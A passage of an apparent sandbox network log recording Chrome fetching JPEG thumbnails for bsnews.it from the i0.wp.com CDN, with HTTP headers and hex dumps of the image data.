"RyKvfr++AVmkJsRm.ctYt5.gj;VO]pYvKqIiQEox>;lf}Yx`GA;Lc[VUx9/[?B9[}8VrkZ;MgP 81uZ
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f ff da 00 08 01 01 00 01 05 02 fd 4f f9 b8 6f 75 d7 39 c6 30 34 ec 19 a4 75 5a d0 da 47 3c 13 33 dc 94 50 c0 8d 7e db 32 76 17 b9 a8 6d 04 d8 eb 1c 9e 9e 8b ad 45 df 36 8c ed d5 f6 1f 78 67 b5 dd 91 cb 5d 43 93 b3 a1 57 c2 9d b2 ca 58 1f 04 e2 63 4b 8e 31 12 20 77 1b 6b 60 aa c2 77 4f af 8e ab d6 20 86 04 63 66 6c 02 6f 13 1d 3e bd 2d 4a a4 c8 1e 34 58 73 f3 85 4f c8 74 a2 2f 2e 55 3b 7d c5 75 f8 08 8e bf 5f 07 ff 00 b7 7d 5e b2 9f 07 d7 e6 32 d5 1b 62 58 fe 48 fe b4 96 bd 1a b7 6c 79 c3 46 05 67 9f 2a cf 39 d7 4b 04 48 74 59 Data Ascii: Oou904uZG<3P~2vmE6xg]CWXcK1 wk`wO cflo>-J4XsOt/.U;}u_}^2bXHlyFg*9KHtY
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 2e ed 31 15 a0 75 84 51 17 3d 77 5b be 0a 66 af a9 9d 4e 86 d5 15 38 1a f7 ff 00 36 eb 2e 09 a9 a8 c3 55 71 f5 af 59 e0 8a fd 6a 0a ab 1f 70 d3 34 3b a9 d4 fd 45 46 a3 95 5b d3 14 aa a4 a5 57 4c d1 a9 d3 57 5d 5b 53 bf 95 17 1c 3c 44 64 86 9d a5 ca 5a ce d3 d4 99 2b 64 96 a3 a7 cb 5b ed b4 8a cd e0 28 bf ae ba ce 34 a9 ba d4 54 f5 7d 3f 5b f5 8a 55 56 a4 d5 a9 63 56 74 e5 2e a7 3d 6a d2 f4 9b 94 d5 4f 4c 51 a9 93 30 3a 72 97 5d b2 dc 69 90 b7 a8 aa cd 2a 12 a3 01 52 d3 54 7a 5c c5 d3 54 d4 6f c7 47 02 c4 5c 7f eb 3f ff da 00 08 01 02 00 01 05 02 fd 4f f6 a5 7a 7f f0 14 a4 a1 2c 1a 19 59 ee 5b 6d 6e ae 1e b8 c0 49 e5 94 04 04 7f 8a 6a 68 38 30 e6 ac 32 53 8f 04 61 11 e5 00 5a 0f 0b b8 ae 43 7b 26 ba 5c d3 8f 2f 83 1c 38 d1 e3 84 9b 99 26 70 ee 94 a5 e5 ca Data Ascii: .1uQ=w[fN86.UqYjp4;EF[WLW][S<DdZ+d[(4T}?[UVcVt.=jOLQ0:r]i*RTz\ToG\?Oz,Y[mnIjh802SaZC{&\/8&p
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 6a 3a 7a 3e 4b 3d 26 09 f6 91 9d bc b0 73 73 32 6d d4 6c 2e 71 ba 2c ea f8 de bd 90 cf 04 d7 c8 69 e5 d3 82 7d f6 2b 10 8c 71 08 43 69 ea 00 26 1c fa 31 9c 27 97 32 fc ac 77 bf 9f c7 1c 93 8e 67 8f 5a 61 19 e5 62 23 fb 24 78 b5 38 a6 38 d3 4d 32 8e 93 c6 fb e9 4e db f6 e3 d2 b1 83 f1 eb 7d 7d 9e 3d b0 22 d3 cc df ca 21 d9 bb 3c 98 a6 bb 60 99 7b 8e 3e fb dd 23 c3 59 e6 c0 82 88 d8 7e b3 c7 fc 7c 6f 6f 67 35 65 cd f5 a3 45 7a e5 94 fe 49 27 ae bb 85 f5 48 f0 5a 24 7d e9 fd b6 73 8c 61 e7 32 f3 dd 04 15 e3 49 50 8d 42 d7 ba c5 47 39 28 6d 48 56 d1 29 d6 c1 29 f1 80 f6 e4 f9 bd b7 5a 5d 7f d8 b3 60 ff 00 c2 f4 4a 72 ac d7 21 b1 14 25 43 f1 f2 dd 1f 7d a1 99 95 91 72 50 ce df 38 fc e0 d1 56 11 7c a9 d5 14 f2 f9 20 3e 4a 07 38 ce 33 8c 67 39 ac d6 fd a7 4a e9 Data Ascii: j:z>K=&ss2ml.q,i}+qCi&1'2wgZab#$x88M2N}}="!<`{>#Y~\|oog5eEzI'HZ$}sa2IPBG9(mHV))Z]`Jr!%C}rP8V\| >J83g9J
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 49 3c 9c 23 e1 32 ea bf 29 8f 95 64 69 20 75 ce 3e 2a da 4e d3 d5 d7 05 dc 56 20 d8 48 99 92 65 d6 60 dd ce c4 e8 9d 72 de e2 71 3e 4b c2 07 e1 4f 74 73 09 ef 1b 65 62 78 64 77 d7 f8 53 93 f3 19 0e 10 cd 02 d9 44 f4 f7 a9 eb de 0c 0b 7f 31 da ff 00 0f b4 f4 1d ee 23 19 e6 6d 95 11 ae 54 73 ef 7d 53 a2 58 ac 4f 78 e8 4f 90 7f 97 2e 8e 0f 21 5c 25 b1 52 40 1b 37 55 88 78 c9 b4 89 c2 f1 4e 56 a3 b0 64 1b d7 c0 ad 65 09 fe f1 d4 0e f0 5e 8f a1 67 bc e6 9c c8 fc df a6 7c 21 16 bc 36 87 4e f3 d0 e1 cf d3 a0 d2 73 ab b0 74 f2 6f a8 aa fd 13 fe ee bd d4 61 30 c9 b4 fb 8a 90 1c 79 f3 08 4e 09 ba 5c ad 6a f7 95 94 ea c8 34 70 89 88 46 21 3e 15 a4 1d c3 81 c0 9f 8a 7c 4a 19 34 0d 3d 1a ea df 62 10 dd 2e 20 05 8f c8 66 7f b6 7b 89 61 84 95 bc a3 20 05 66 3d 56 2e 47 Data Ascii: I<#2)di u>*NV He`rq>KOtsebxdwSD1#mTs}SXOxO.!\%R@7UxNVde^g\|!6Nstoa0yN\j4pF!>\|J4=b. f{a f=V.G
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 75 46 4c d1 7a cc ad ca 51 7e f4 8a e2 e5 d2 2c 68 10 50 cc ac 93 3a a0 b8 af 11 33 fe 74 7f ff da 00 08 01 03 02 06 3f 02 fe 67 dc 5f 35 7f ee da 13 d9 39 ef 6e 9a 75 b5 39 98 28 13 b3 79 65 34 aa 26 fb 6b 40 39 c1 1d 3c 28 bc f1 09 69 22 64 9c 90 ac 36 00 96 b0 1a 28 52 f5 e6 1f 77 6e e5 9c 41 b5 88 65 56 49 ca 45 69 27 a3 93 70 e2 71 26 4d 0e 32 1a 60 a2 77 78 3c 88 1f e5 9f a2 02 d0 48 58 cb 0d e2 57 f3 65 25 6b 14 73 d7 cb b9 70 c5 59 4e 44 8e 35 0c b1 65 84 fc 5c aa 3e 23 ec d1 0a c3 be 26 d2 84 2f 0c aa d0 a2 36 70 9f fa fc 21 fa 06 cd 27 df 56 7f c2 32 67 af 34 b7 31 68 c9 26 cf eb 82 e3 86 48 02 64 c7 76 63 06 8f 08 ff 00 23 a4 f3 0a 37 57 ff 00 3a bf 4a 21 38 66 04 dd 51 81 87 6a bf 31 ce 73 f6 6e be 06 74 f3 a1 27 84 7a 1c 39 fa c7 c7 f4 a3 29 Data Ascii: uFLzQ~,hP:3t?g_59nu9(ye4&k@9<(i"d6(RwnAeVIEi'pq&M2`wx<HXWe%kspYND5e\>#&/6p!'V2g41h&Hdvc#7W:J!8fQj1snt'z9)
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 5e 25 13 48 4f 98 67 d7 aa 17 87 6c 04 da 49 10 ab 6d f7 88 95 31 eb 31 42 4d 4e 7a f4 0d 1c 04 b8 e1 92 04 7c d4 c5 b6 88 52 34 47 cd 4c 7c 15 a5 5a a2 ed d5 84 ae 03 6d 38 0a cc 5a 79 41 23 4c 59 4b a9 9e ce 98 b4 b2 02 44 59 bd 4c e0 17 56 00 55 5a 60 2d 14 a0 c5 c9 71 37 b3 94 b4 ee 5a 57 84 45 db 4e 24 ac c5 87 96 12 b8 0b 45 28 31 61 c7 13 6b 6f 44 5b 65 41 49 8b b7 5c 48 58 8b 0d 38 92 b8 17 ea 09 9c 7a 82 a1 73 9e 26 c2 82 80 80 5f 50 4c e0 3a a5 80 da aa 39 e3 e6 a6 26 c2 82 80 85 61 2f 50 d3 41 56 6b a4 ec a7 92 81 01 2a 33 50 15 e7 df d8 f7 d4 3b 7a a2 d9 52 bd 6c ea c9 2d 9d 70 eb ee 51 39 91 b3 ae 16 71 8b 29 00 51 2c a7 61 80 a4 f8 42 4c f8 eb 85 17 8c 99 b7 22 74 0a 34 e6 8f 55 83 5a d7 2a 29 ff 00 48 82 e6 26 77 76 b9 42 67 50 80 bc 3a c9 Data Ascii: ^%HOglIm11BMNz\|R4GL\|Zm8ZyA#LYKDYLVUZ`-q7ZWEN$E(1akoD[eAI\HX8zs&_PL:9&a/PAVk3P;zRl-pQ9q)Q,aBL"t4UZ)H&wvBgP:
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 04 5e 30 16 83 f5 2a f5 a5 8f fb 21 fa 44 60 e8 37 6e 5b 34 a3 13 20 9d 19 4f 19 3a ad ce 89 8e 62 db 45 12 b0 fb 37 cf 8c 47 d4 ee 9b 53 1c a6 71 15 c0 b9 fe 1f 98 b1 b1 ec fc 41 c0 f6 4e 35 da 49 42 ac e7 d8 13 cf 6c ed 6d 3c 76 b1 3c b7 72 73 3e cd 9e d2 8f a9 65 93 e1 6b b8 2f bc 7e e1 a7 8d ad ed fd aa f3 c7 ca 6a b3 5a 58 e3 9e ac 8c fb b6 2e c7 ba 73 f6 8d 6d 64 23 ed dd f6 7d 4c 38 69 a6 a8 63 7c ff 00 af b0 e7 eb cf db d4 fd 1e d6 42 eb 21 35 69 21 b6 6c 32 7f 0a 94 32 65 cb cc b4 8e 51 e3 33 c5 fc cd b9 9d d6 dd 3d 15 6b ac 56 aa 1e e5 6a c1 e5 a2 95 11 af b4 b5 9f 19 fa 99 0b d5 54 a6 de c8 5f be ea 40 e2 95 29 b3 5a ba aa d6 53 9b 10 44 29 f5 6a 3d 66 22 74 89 f0 e2 e6 46 c5 2a 99 4b 77 6c ba cd 87 23 2b 44 65 ad 73 24 8c e3 d6 36 a6 83 3a f2 Data Ascii: ^0!D`7n[4 O:bE7GSqAN5IBlm<v<rs>ek/~jZX.smd#}L8ic\|B!5i!l22eQ3=kVjT_@)ZSD)j=f"tFKwl#+Des$6:
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b0 eb 07 e7 ef 39 84 c2 e7 e7 cc be 9a 78 aa 0b ea db bc f0 42 43 cb 71 78 99 cf e1 5a c7 52 29 f2 18 d7 8c c5 1a 3e 18 ce db ca fe 6e 9a 15 8b cc a6 f9 3b 27 cf c5 d6 cf 5f 1f 76 39 47 84 7d 4a 38 5a db 85 6d 2e ad eb 23 1a fa 4a 0a d2 6c d8 9e 52 30 5b 7d d0 d7 94 b0 86 3c f8 6e 3a 8a c6 bd 54 a7 1f 8e aa a1 d7 45 a1 6e 44 40 73 d6 4b f2 55 3e 3c e7 c7 ea 07 58 35 c7 d2 db 62 ec fe 13 e7 f9 55 be fb 05 1c ff 00 72 27 f4 8b fd 2e 6d f4 56 ba 71 cb 9b 3a 07 b3 c7 48 f8 be a7 f9 97 2a 9d b9 4c 8a 74 a2 86 47 bd 47 1e cd 0b 79 0c fc 16 6e f8 cf 98 af 48 f3 28 e3 ba bf fd 59 ff 00 f1 17 f4 ad 29 02 6b 5a 62 b5 2d 63 24 6c 61 94 08 00 0c 73 22 22 9d 22 38 df 70 07 e7 d9 58 5b f2 67 c8 a6 b0 47 34 63 96 71 cb 6d 78 2d 4f 4e 44 c9 9f 18 81 e3 dd f0 f9 85 5d ff Data Ascii: 9xBCqxZR)>n;'_v9G}J8Zm.#JlR0[}<n:TEnD@sKU><X5bUr'.mVq:H*LtGGynH(Y)kZb-c$las"""8pX[gG4cqmx-OND]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49921	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	591	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 8189 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:25 GMT Expires: Sat, 28 Mar 2026 05:35:25 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "ca488a02e2c13e43" X-Bytes-Saved: 237 Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	778	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 1a 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f1 cd 9e ee 24 31 0a Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"$1
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 8c 7e 7a 8f 63 6a 7c 3c 7d ae 4b 47 94 9f b5 5c ed e1 e8 f7 1c e8 b6 3e 67 ad b3 3d fe 7d 1f 7d 6c 5b e7 51 fa 0e be 56 f9 ee ce e7 52 93 f3 95 3a b2 f4 e9 7a 0e 0f ae f4 73 62 be e8 ec e1 02 45 66 2a 64 a0 48 44 09 12 c0 37 d2 d1 6c 13 bb 5e 7e 9c ea 3d 3f 8e f3 35 71 ba 3c e8 e7 7d 06 76 e5 f4 f2 5f 18 57 59 94 a3 5d 9a 28 bd cb 36 5e d5 12 c9 9b 72 a5 b2 66 ed e7 ad b4 f1 3a 31 a5 b9 36 74 35 23 cb 72 3d ef 87 e6 dd ea fc 1f 47 16 af 55 2d 0b d5 c9 9d 4c db 96 0a 64 a0 48 22 32 5f ff c4 00 2e 10 00 01 04 01 01 07 03 04 03 00 03 00 00 00 00 00 02 00 01 03 04 11 12 05 10 13 14 21 30 31 20 32 40 22 23 24 33 15 34 41 06 42 50 ff da 00 08 01 01 00 01 05 02 f4 b3 f7 0f d9 b1 eb b7 2f c9 0a 86 9c 11 05 ea ef 12 99 dd 8e 2e a1 f1 d9 d3 3f 6a 42 61 1a d3 14 43 Data Ascii: ~zcj\|<}KG\>g=}}l[QVR:zsbEf*dHD7l^~=?5q<}v_WY](6^rf:16t5#r=GU-LdH"2_.!01 2@"#$34ABP/.?jBaC
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 3f 3f c9 11 61 3a f5 14 16 14 64 5b 8f c8 c9 3b 22 e2 8e 71 fa 04 fd fb d0 15 c5 0c a7 b7 72 6e 6f a8 26 90 e1 63 c6 71 d2 db 4e 36 6c f5 5e c6 0b ad a5 bd 74 ab ae b6 f3 a4 a6 e9 db c1 7d 3e b9 ed 00 b4 ed e6 3a e5 db 85 da 5e 0e dd ec 1e 0a 39 a5 26 ad 06 4a 7e e4 7a 3f 51 b2 e4 fc 58 63 34 f9 29 47 87 04 a6 99 25 ae e9 fd 97 74 0f 52 ee 81 ea 5d d0 3d 4b ba 40 fb 96 50 92 01 e6 58 64 bd 96 51 1b 95 2a 54 ab 61 dc 16 37 c4 08 04 fd 41 a7 47 15 3e 2e 44 e0 3d ec b7 7f 7e 54 38 f9 98 e7 54 51 d7 f7 fa 99 74 2d 3e 02 e3 b8 a8 e0 7c 7c 1c 9a 08 e3 d5 d2 a3 dc 0b a3 fe 1a 77 80 f2 00 de ba 3f e3 84 f9 29 db 90 c9 a1 c1 76 8f c2 39 25 db 80 4d 98 b9 7b 57 73 46 57 22 f7 73 56 ee 6a 62 7e ab 00 d4 68 9b db 9b 26 38 7c c5 4d 9c 26 1a 43 54 32 98 9e 1c 11 cc 37 Data Ascii: ??a:d[;"qrno&cqN6l^t}>:^9&J~z?QXc4)G%tR]=K@PXdQ*Ta7AG>.D=~T8TQt->\|\|w?)v9%M{WsFW"sVjb~h&8\|M&CT27
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: f5 1f ff c4 00 2a 10 00 03 00 02 01 01 07 04 03 01 01 00 00 00 00 00 00 01 11 21 31 41 51 10 20 61 71 81 91 a1 30 b1 d1 f0 40 c1 e1 f1 50 ff da 00 08 01 01 00 01 3f 21 ee 2c 32 db df d4 4e 59 83 36 f3 63 fb 10 58 69 7c 9d 4c e3 83 06 52 75 94 96 8b 7d 9f 01 9a 2b b9 fe 43 10 97 f4 a6 36 c5 21 96 c9 7e d8 54 48 1c 80 35 e0 9e 46 2b 55 db 87 ac 68 30 cb 3c 88 89 32 9d 5f ca 4d ae 4a ea 54 c1 6d f7 9d 3a 93 12 65 2e 36 c9 ff 00 63 7e 03 2c 9a 31 ac 63 e4 a6 78 c6 aa 89 c4 a9 61 9b 8a b0 5c 62 0e 23 fc 55 81 fa c8 a9 65 3d 1f ce c3 9d 89 e8 b3 da 8c 4e 79 d7 a7 a8 eb 73 6b 7d a4 31 27 a8 38 d9 be b1 96 61 58 3d df f8 29 cd 09 7b 20 91 ff 00 8a b7 bf 83 fb 32 63 28 a6 bf 2c 9b 48 8c 96 cf 93 1f 9f c4 36 7a d2 3f 5d 7d 8d 6d 50 c1 56 7c 89 3f 91 09 dd 7f e4 37 Data Ascii: *!1AQ aq0@P?!,2NY6cXi\|LRu}+C6!~TH5F+Uh0<2_MJTm:e.6c~,1cxa\b#Ue=Nysk}1'8aX=){ 2c(,H6z?]}mPV\|?7
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 10 11 2d 99 31 b5 93 e8 7f ff da 00 0c 03 01 00 02 00 03 00 00 00 10 80 3c 3e c4 18 78 11 48 d6 7f fb ee bc 4e 20 fd b9 ac 02 08 61 6c 43 54 9a ce 32 c8 76 e1 14 cd ac 35 1f 7d be 2f 52 b2 aa 06 f2 24 ae 21 03 c4 32 81 0c df b7 86 d6 6e 13 18 0f be 47 f5 32 ff 00 25 be 89 c3 05 8f ff 00 ac 5c a4 8d 36 fb b4 0b d3 55 f4 12 54 f0 f1 bc 48 6c 67 aa 41 46 e8 c8 db 4c e2 0b 53 ab e3 60 0c cb 06 bb b1 15 9f dc 8c f1 32 0b 63 f6 79 00 3b 44 f4 c7 88 ac 0e 5f d1 71 0f 79 77 1e 84 60 33 c9 cc 56 a4 2b f7 88 29 d4 41 46 58 09 1e 5c ed d2 9a 06 d1 2c cf ff c4 00 26 11 00 03 00 01 02 06 02 02 03 00 00 00 00 00 00 00 00 01 11 21 10 31 20 41 51 61 71 f0 30 81 91 a1 b1 c1 e1 ff da 00 08 01 03 01 01 3f 10 a5 1e 46 b5 ba 53 48 3a 89 a1 d8 92 31 d7 4a 52 fc 2d 11 e8 d1 d2 Data Ascii: -1<>xHN alCT2v5}/R$!2nG2%\6UTHlgAFLS`2cy;D_qyw`3V+)AFX\,&!1 AQaq0?FSH:1JR-
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 2b 12 aa 54 a9 52 a5 40 9b 78 54 08 12 a6 83 01 b5 a2 71 77 39 75 f8 8c 80 da 31 4f fc 82 0c 0c 1a 1d 90 f9 a6 0e 8d 02 3e 00 af 64 1d a3 a8 3f 2a b9 b7 24 25 5a ef ea 5b e0 bb c6 0f 69 f4 42 1e 03 65 2a 6f b4 b5 f8 82 df 91 4d 35 01 48 d0 21 42 0b 02 4b 29 6d a2 66 54 a9 5f a4 f0 fe 84 95 2a 04 a9 55 2b 32 a0 4a f0 a8 10 ca 28 61 49 76 5c b1 42 89 cc c4 07 95 68 83 b9 82 30 3a 9c 90 b0 e4 e4 4e 4f 52 c7 10 ab cb 9a 0e 87 a9 59 34 51 73 d0 1c fd d7 b2 19 a7 b5 76 60 d1 f9 15 cc 79 3c 77 36 ee 5c ba 29 1a 0b 46 2a ab cc 1c 4b 05 3a 8e 51 8a c4 ac ca f2 54 0f 0a 89 89 4c a7 cd 4a 81 31 5e 37 02 54 48 10 2a 13 af 38 7d cb 39 2c 3f 89 bb e8 19 71 34 3d df 70 b9 ba bb 6d f7 33 83 e5 a8 93 62 9d 2c 28 17 b0 0c 3f 11 a2 51 77 55 72 80 1f 73 11 9a b8 e4 7a 8f a1 Data Ascii: +TR@xTqw9u1O>d?$%Z[iBeoM5H!BK)mfT_U+2J(aIv\Bh0:NORY4Qsv`y<w6\)FK:QTLJ1^7TH*8}9,?q4=pm3b,(?QwUrsz
2024-03-28 08:51:12 UTC	566	IN	Data Raw: 80 cc ae 34 6f 2f 58 3f 6b 8f a1 17 e4 aa 47 75 fc 25 51 85 af 38 96 3b ba 1f 70 dd 96 bc bc 44 e4 c0 be 62 b0 0a 83 8b 56 39 a6 b1 5c 25 9a 01 39 ab 07 80 53 7e e2 b8 b4 50 a9 75 1c 9d 7f 70 1f fa f2 08 c5 50 72 4b 63 5c 53 7c ad 37 d2 e7 f8 ee 71 d4 8c 8d db 0f bc a5 a8 08 f3 ac 47 d3 f4 83 0f 92 a5 40 95 02 04 4e 87 a2 d8 28 f5 c9 e0 8c 35 5f ad 9c 07 e5 9a e8 10 5f dc ad da 1d 20 9a 68 6a 3f 0a 39 14 2a eb e0 3f 13 bc 23 d9 97 1b f6 c4 00 aa a3 73 76 37 7c b0 52 18 57 58 69 c3 b2 3f 48 15 42 b6 6f f7 83 48 02 59 b0 e6 b9 80 55 c3 28 7d a5 d5 c6 34 59 6a c7 e4 91 55 d6 57 fb c3 22 a7 c5 8a d8 8d dd ac 03 d2 a0 a9 a5 a7 2f cc 2e e0 70 11 5a aa 70 90 a7 a3 d1 e4 0b fa df 33 a3 b2 3f 39 77 5e ae 57 1f ae 6e 5e 71 78 81 4a 66 0d ad 85 bd 93 e1 8a 07 4d 7b Data Ascii: 4o/X?kGu%Q8;pDbV9\%9S~PupPrKc\S\|7qG@N(5__ hj?9*?#sv7\|RWXi?HBoHYU(}4YjUW"/.pZp3?9w^Wn^qxJfM{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49918	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	407	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	589	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 11623 Connection: close Last-Modified: Wed, 27 Mar 2024 12:33:02 GMT Expires: Sat, 28 Mar 2026 00:33:02 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "41739576de75c8a7" X-Bytes-Saved: 479 Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	780	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 00 01 02 03 05 06 07 08 ff c4 00 19 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f5 24 90 3a 67 04 92 Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"$:g
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 52 a6 f4 e7 95 6c 5e b3 63 10 ac c1 6e 64 53 51 89 83 22 50 bd a0 79 dd d9 e5 d1 6d ae 00 70 de 93 5a be 5f a9 e5 71 13 f4 6c 91 8c ce 9f 28 ca f9 f6 e6 3b 2c bb 2e 6f e7 7a 11 da e6 f3 fd 06 53 7e 76 17 a9 e2 cd 79 8b 76 54 5a e1 6e 26 8d f3 d4 02 0f 9d d7 3b 68 a9 2e 8a 6e 97 21 ca 6a 41 ca da da 67 83 01 16 09 35 7a d6 64 d7 9e bb 6b 25 2a da 3f bb dd ea f3 fc b7 4f d0 2a 47 23 b4 b1 d9 d6 c7 81 b5 07 9b 8a f1 7d 5d 76 36 1a 73 b9 dd 50 f1 af 1a 29 bb 0a af d3 ce d6 22 c7 ab 3e a5 ec 0b 44 79 9c cf 5b 4b 38 21 3d 0f 90 9d 33 b3 fa 60 69 65 12 c4 dc d0 21 76 32 8b aa 8c 85 87 0b 6d 51 1b 1f 4c 87 8d d0 6a a5 34 1d 27 53 da 72 0e 7a d3 fc 8b a3 73 dd b7 30 3b 9e b3 91 c9 e4 d3 b7 7f 83 f4 bc f5 de a7 63 2b 0b 18 fe 07 ab cf 52 63 97 68 6b 19 55 b7 9c 63 Data Ascii: Rl^cndSQ"PympZ_ql(;,.ozS~vyvTZn&;h.n!jAg5zdk%?OG#}]v6sP)">Dy[K8!=3`ie!v2mQLj4'Srzs0;c+RchkUc
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b3 26 ad 63 e4 a5 a5 db dc 6e ee 8a fe 48 31 94 11 6d 22 59 8a 1d 6b 1f 4c 38 f9 7a f7 31 d9 eb 2e 8b 37 a6 32 d0 5d 69 0d 5c 7f 93 a9 c0 ce 26 6a 11 e8 8d a6 2e 0c e5 39 34 e9 fa b8 bd 19 5b 47 ea 75 41 d4 f3 2a 5a ba f5 46 53 d4 f1 ad 8a ea d2 ca d6 c1 93 d1 aa 27 0c 3a 57 0a cc bc 2a 5d b1 aa 6a 5f 3e e7 2e ef 91 5b e2 dc d6 4e e5 89 39 72 53 f8 ed 76 88 1e 0e 9f 4d 55 64 e2 a8 b1 ab 50 d6 52 4c ae a6 e3 62 15 9b da af e3 cb b9 10 fb cb 12 14 f9 1c 0c 6d 42 35 35 fc 3a 6d 34 2d 5a 13 88 8d 52 b0 7e 9d 8e c6 fe 87 43 41 d2 f3 28 23 37 2e 86 bf 2e cd 74 bc ae e5 f0 c7 f2 15 27 54 a5 97 25 3d d8 f8 ae a4 ee 79 99 16 b2 0a dd 6d 76 b3 88 b2 e8 c6 ab a5 d4 a8 a8 8e 50 57 ca 66 af 16 07 9b 03 e1 81 dd 98 e6 b3 fa f9 52 62 b6 97 47 6b f1 fa 9a 89 95 91 8c d8 Data Ascii: &cnH1m"YkL8z1.72]i\&j.94[GuAZFS':W]j_>.[N9rSvMUdPRLbmB55:m4-ZR~CA(#7..t'T%=ymvPWfRbGk
